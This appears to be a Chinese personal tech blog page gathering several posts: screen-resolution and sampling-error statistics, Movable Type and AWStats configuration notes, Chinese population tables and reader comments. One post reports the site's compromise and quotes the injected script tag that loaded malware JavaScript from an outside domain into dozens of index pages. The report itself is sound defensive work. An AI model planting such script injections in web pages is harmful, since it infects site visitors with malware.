按宽度汇总的分布： 统计如下
| 分辨率 | 2009年12月 | 2010年12月 | 变化量 |
| 1024x | 46.5% | 39.3% | -7.2% |
| 1280x | 21.4% | 23.7% | 2.3% |
| 1440x | 15.2% | 18.3% | 3.1% |
| 1366x | 2.6% | 9.1% | 6.4% |
| 1680x | 3.5% | 4.4% | 1.0% |
| 1152x | 3.1% | 3.2% | 0.1% |
| 800x | 1.9% | 2.1% | 0.2% |
最近从服务器日志中经常发现MT的错误日志：
Name "Locale::Maketext::Lexicon" used only once: possible typo at
.../extlib/Locale/Maketext.pm line 653.,....
解决方法：
删除 mt/extlib/目录下的I18N/ 和 Locale/ 目录即可；
原因：
服务器上已经升级到Perl 5.10.x了： 很多国际化字符集方面的支持直接使用Perl内置的支持包即可。
[chedong@titans ~/logs/chedong.com/http]$ perl -v
This is perl, v5.10.0 built for x86_64-linux-gnu-thread-multiCopyright 1987-2007, Larry Wall
Perl may be copied only under the terms of either the Artistic License or the
GNU General Public License, which may be found in the Perl 5 source kit.Complete documentation for Perl, including FAQ lists, should be found on
this system using "man perl" or "perldoc perl". If you have access to the
Internet, point your browser at http://www.perl.org/, the Perl Home Page.
按此阅读全文 "MT上“Name "Locale::Maketext::Lexicon" used only once:” 问题的解决： 改用Perl内置函数库" »
在电视节目中经常看到关于选举的报道中经常会后有支持率的数字，例如：调查结果为
最后都会说明一下，此次电话调查的数量2352，置信度为95%﹐最大抽样误差为±2.5%。
抽样调查的典型情景：对一个大的集合（比如：数千万选民）做一次调查的成本较高，抽样调查可以低成本的用近似的（可接受的）数据反映实际情况；在用户调研中，也经常通过通过抽样调查的方式并对比打分的方法做评估。这里就需要了解置信度和抽样误差的概念；
抽样误差： 假如相同规模的抽样调查进行多次， 抽样均值在真实均值的上下波动，相对于整体均值的偏移波动就是抽样误差，而这个误差的分布是符合标准正态分布的，例如下图： 横轴为整体的均值，圆点是每次抽样的均值，而红色那次抽样就是加上误差后都未覆盖到均值线的情况）；
最小抽样量的计算公式： 抽样量需要 > 30个才算足够多，可以用以下近似的误差/样本量估算公式；
n： 为样本量；
：方差，抽样个体值和整体均值之间的偏离程度，抽样数值分布越分散方差越大，需要的采样量越多；
E： 为抽样误差（可以根据均值的百分比设定），由于是倒数平方关系，抽样误差减小为1/2，抽样量需要增加为4倍； : 为可靠性系数，即置信度，置信度为95%时，
=1.96，置信度为90%时，
=1.645，置信度越高需要的样本量越多；95%置信度比90%置信度需要的采样量多40%；
为了体现相对差距： 假设抽样均值为 y
相对抽样误差 h = E / y
变异系数 C= σ / y
以下是基于抽样得分的抽样误差估算表格： 方差越大需要的样本量越多，数据离散度越低，需要的抽样量越少；
| 置信度 | 相对抽样误差(假设：C=0.4) | ||||
| 1% | 2% | 3% | 4% | 5% | |
| 95% | 6147 | 1537 | 683 | 384 | 246 |
| 90% | 4330 | 1082 | 481 | 271 | 173 |
如果是基于胜出率，支持率等： 分值为0/1状态分布，公式拟合为
π为按照经验得出的最后比例，在未知时π可取50%，待算出结果后再重新拟合，比例越悬殊需要的样本量越少；
| 置信度 | 相对抽样误差 | ||||
| 1% | 2% | 3% | 4% | 5% | |
| 95% | 9604 | 2401 | 1067 | 600 | 384 |
| 90% | 6765 | 1691 | 752 | 423 | 270 |
从而看出大部分的电话抽样调查：95%置信度的情况下，误差要控制在2%以内取样量一般在2000-5000；为了方便计算抽样调查的误差和估算抽样量，制作了一个Excel表格附后，调整颜色框中的抽样量数字就可以得到相应的误差或根据指定的误差范围估算出抽样量；
5月25日，Eldy发布了AWStats的7.0版本，从界面上看主要的变化是很多统计图使用了Google图表API生成；
在Linux的安装请参考AWStats安装笔记， 此次更新后的相关配置修改都放到补充库里了；
包含chedong.com的awstats配置样例：awstats.chedong.conf
通用配置文件样例： coommon.conf
搜索引擎和蜘蛛定义更新： robots.pm search_engines.pm （需要放到lib目录下）
缺省建议启用的配置：common.conf
LoadPlugin="tooltips"
LoadPlugin="decodeutfkeys"
LoadPlugin="graphgooglechartapi"
LoadPlugin="geoip GEOIP_STANDARD /home/chedong/chedong.com/cgi-bin/awstats/GeoIP.dat"
LoadPlugin="geoip_city_maxmind GEOIP_STANDARD /home/chedong/chedong.com/cgi-bin/awstats/GeoLiteCity.dat"
LoadPlugin="qqhostinfo"
搜索引擎定义主要去掉了一些门户网站的域名（例如： 163.com live.com），避免了搜索服务和门户其他服务(例如： 博客)容易和搜索来源混淆的情况。
蜘蛛定义主要增加了feed抓取机器人：
'sosospider','SosoSpider',
'youdaobot','YoudaoBot',
'doubanbot','DoubanBot',
'friendfeedbot','FriendFeedBot',
AWStats 7.0的详细ChangeLog更新附后：
4月1日中午，有朋友发来邮件： 访问 chedong.com 的页面时；
该网站可能含有恶意软件，有可能会危害您的电脑。
http://www.google.com.hk/interstitial?url=http://www.chedong.com/
到Google的诊断页看了一下：
我们过去 90 天内对此网站上的 2 张网页进行了测试，发现有 1
张网页在未经用户同意的情况下就会将恶意软件下载并安装到用户的机器中。Google 上次访问此网站的日期是
2010-03-31，上次在此网站中发现可疑内容的日期是 2010-03-30。
Malicious software includes 2 exploit(s). Successful infection
resulted in an average of 1 new process(es) on the target machine.
恶意软件托管在 3 个域上，其中包括 surrogaty.uz.ua/, abseconbluedevils.org/, powergym.be/。
2 个域以传播媒介的身份向此网站的访问者散发了恶意软件，其中包括 abseconbluedevils.org/, help2strike.org.ua/。
This site was hosted on 1 network(s) including AS26347 (DREAMHOST).
登录到服务器上：
grep -R powergym *
发现数十个目录缺省页 index.html index.php default.html 全部在3月30日被附加了这样一行script：
script language='JavaScript' src='http://powergym.be/xxxxss36dj.js'
回家后断断续续折腾了2天，终于将大部分目录回滚到了3月30日之前；近期还在和DreamHost联系，查看系统登录日志，查看各个目录下的应用安装情况；
最近刚看完《异类》一书：其中讲了有所成就的人士除了10,000小时定律之外很重要的（而且经常被人们忽视的）一个因素就是人口的变化。因此也额外对人口变化趋势非常关注，高巍为此做了一个星座和中国人口出生量的统计。
我看到一个人口构成数字是清议在《可预见的中国式灾难》中引用的田雪原《中国人口预测结果》（原始出处未找到）人口年龄统计：制成图表如下
年份 总人口 0~14岁 15~64岁 65岁以上 新增劳动人口 抚养比 2007年 132,129 25,633 95,794 10,702 2,142 37.9% 2007年实际值 2008年 132,978 24,911 96,938 11,129 2,119 37.2% 2009年 133,634 24,524 97,713 11,397 2,072 36.8% 2010年 134,279 24,289 98,301 11,688 2,076 36.6% 2011年 134,916 24,093 98,807 12,016 2,046 36.5% 抚养比谷底 2012年 135,543 23,994 99,152 12,397 1,949 36.7% 2013年 136,144 23,943 99,401 12,801 1,840 37.0% 2014年 136,706 23,941 99,465 13,300 1,776 37.4% 2015年 137,213 23,657 99,682 13,875 1,706 37.7% 2016年 137,652 23,305 99,918 14,430 1,650 37.8% 2017年 138,014 22,980 99,920 15,114 1,602 38.1% 劳动人口峰值 2018年 138,294 22,671 99,800 15,823 1,597 38.6% 2019年 138,491 22,365 99,534 16,592 1,619 39.1% 2020年 138,614 22,059 99,170 17,386 1,587 39.8% 2021年 138,668 21,735 98,852 18,080 1,597 40.3% 总人口峰值 2022年 138,658 21,390 98,466 18,803 1,608 40.8% 2023年 138,592 21,018 98,140 19,434 1,620 41.2% 2024年 138,471 20,617 98,107 19,748 1,626 41.1% 2025年 138,301 20,186 98,102 20,012 1,635 41.0% 2026年 138,082 19,722 98,349 20,011 1,641 40.4% 65岁以上超过14岁以下人口 2027年 137,813 19,228 98,220 20,365 1,648 40.3% 2028年 137,493 18,716 97,140 21,637 1,654 41.5% 抚养比之后每年上升一个百分点 2029年 137,123 18,202 96,157 22,764 1,658 42.6% 2030年 136,705 17,701 95,221 23,783 1,654 43.6% 2031年 136,239 17,228 94,226 24,786 1,654 44.6% 2032年 135,729 16,799 93,359 25,571 1,655 45.4% 2038年 131,793 15,175 85,651 30,967 1,383 53.9% 2048年 121,682 13,546 75,791 32,345 1,345 60.5% 2050年 119,163 13,116 73,701 32,346 1,331 61.7% 2060年 105,064 10,605 61,285 33,174 1,239 71.4% 2085年 71,256 7,065 40,042 24,149 898 78.0% 抚养比峰值 2100年 55,647 5,596 31,621 18,430 601 76.0%
如何利用AWStats针对网站自身应用进行特定参数的统计，今天学习了一下：AWStats Documentation - Using the Extra Sections features。文档中主要有以下几个例子：
# Example 1: Tracking Product orders
跟踪商品订单：解析出GET /cgi-bin/order.cgi?productid=49&session=A0B1C2 中的productid=字段
# Example 2: Tracking Bugzilla most frequently viewed bugs
跟踪bugzilla中最经常被访问的Bug：原理同上，这在内部开发中非常有用，类似的，也很容易给BBS系统配置出最常访问的论坛等统计。
# Example 3: Tracking Exit clicks
跟踪用户离开当前网站的点击：前提是你将所有指向其他网站的链接通过/cgi-bin/awredir.pl?url=http://externalsite/pagelinked这样的链接进行部署。
# Example 4: Tracking aborted download
跟踪中断的下载：利用的是HTTP返回的状态码206 ExtraSectionCodeFilter1="206"
# Example 5: Tracking most requested domain aliases
跟踪最常用的域名别名：这需要在日志中部署并定义扩展字段%your_extra_field，然后在ExtraSestion中部署统计相应的扩展字段%your_extra_field 这里的例子就是将域名的别名，在一个域名有多个别名的时候，分析那个域名最常用最有帮助。
# Example 6: List of top level 2 path under a directory /mydir
跟踪某个目录下最常访问的2级子目录，根据样例设置了一个 /tech /blog 2个目录下的TOP文章统计。
按此阅读全文 "AWStats的自定义扩展统计：Using the Extra Sections features" »
感谢高巍
年份 总出生人口 男女比例 男性 女性 1976年出生 20,491,797 1.04 10,435,196 10,056,601 1977年出生 17,931,155 1.03 9,119,685 8,811,470 1978年出生 18,831,591 1.02 9,519,345 9,312,246 1979年出生 18,924,822 1.02 9,548,059 9,376,763 1980年出生 18,393,809 1.03 9,315,481 9,078,328 1981年出生 19,122,938 1.04 9,752,137 9,370,801 1982年出生 23,100,427 1.04 11,786,950 11,316,732 1983年出生 20,065,048 1.05 10,275,677 9,789,371 1984年出生 20,313,426 1.06 10,468,201 9,845,225 1985年出生 20,429,326 1.08 10,598,460 9,830,866 1986年出生 23,190,076 1.08 12,023,710 11,166,366 1987年出生 25,282,644 1.08 13,619,530 12,663,114 1988年出生 24,576,191 1.08 12,779,621 11,796,570 1989年出生 25,137,678 1.09 13,110,848 12,026,830 1990年出生 26,210,044 1.11 13,811,030 12,399,014 1991年出生 20,082,026 1.13 10,674,963 9,407,063 1992年出生 18,752,106 1.15 10,014,222 8,737,884 1993年出生 17,914,756 1.15 9,590,414 8,324,342 1994年出生 16,470,140 1.17 8,866,012 7,604,128 1995年出生 16,933,559 1.18 9,157,597 7,775,962 1996年出生 15,224,282 1.19 8,257,145 6,967,137 1997年出生 14,454,335 1.20 7,897,234 6,557,101 1998年出生 14,010,711 1.22 7,701,684 6,309,027 1999年出生 11,495,247 1.23 6,332,425 5,162,822 2000年出生 13,793,799 1.18 7,460,206 6,333,593以85-89年出生为1， 可以对比看到相对于峰值阶段，95后相对于峰值时期降低40%； 中国的人口红利将与2015年前后消失；80-84年=100,995,648 相当于85-89年的85% 85-89年=118,615,915 90-94年=99,429,072 相当于85-89年的84% 95-99年=72,118,134 相当于85-89年的61%
apps 不好吗？？？？
东哥你好，我的awstats7.0是安装在windows2003下面的，apache版本是1.3.37，我使用的是active perl 5.14.2这个版本的perl以cgi方式工作在apache中，目前分析操作系统不正常，总是显示“操作系统”无法得知，请问应该怎么解决？
我想问下，有没有永久免费的杀毒软件呀？我电脑老是中病毒！
貌似找到出处了..大哥!求教WIN7使用后无法开机咋办!!除了重装有啥补救办法么!! 一定要看到呀`祈祷下.. qq 87004592 email: beachlv@qq.com
博主很久没有更新文章啦
意思是越来越小？
虚拟页面的方法不可滥用，一旦应用会导致网站统计结果的最终数据偏离真实。
删完了也还是占用CPU，而且安装补丁也安装不了了，强烈怀疑是删这个文件夹造成的。你TM的到底有没有良心？
我的博客百度蜘蛛就是不遵守robots.txt协议！！http://www.xichucn.com
是因为要回答你回复邮件里的问题，在网上搜集相关雅虎通相关信息的时候，竟然搜到了你的博客。
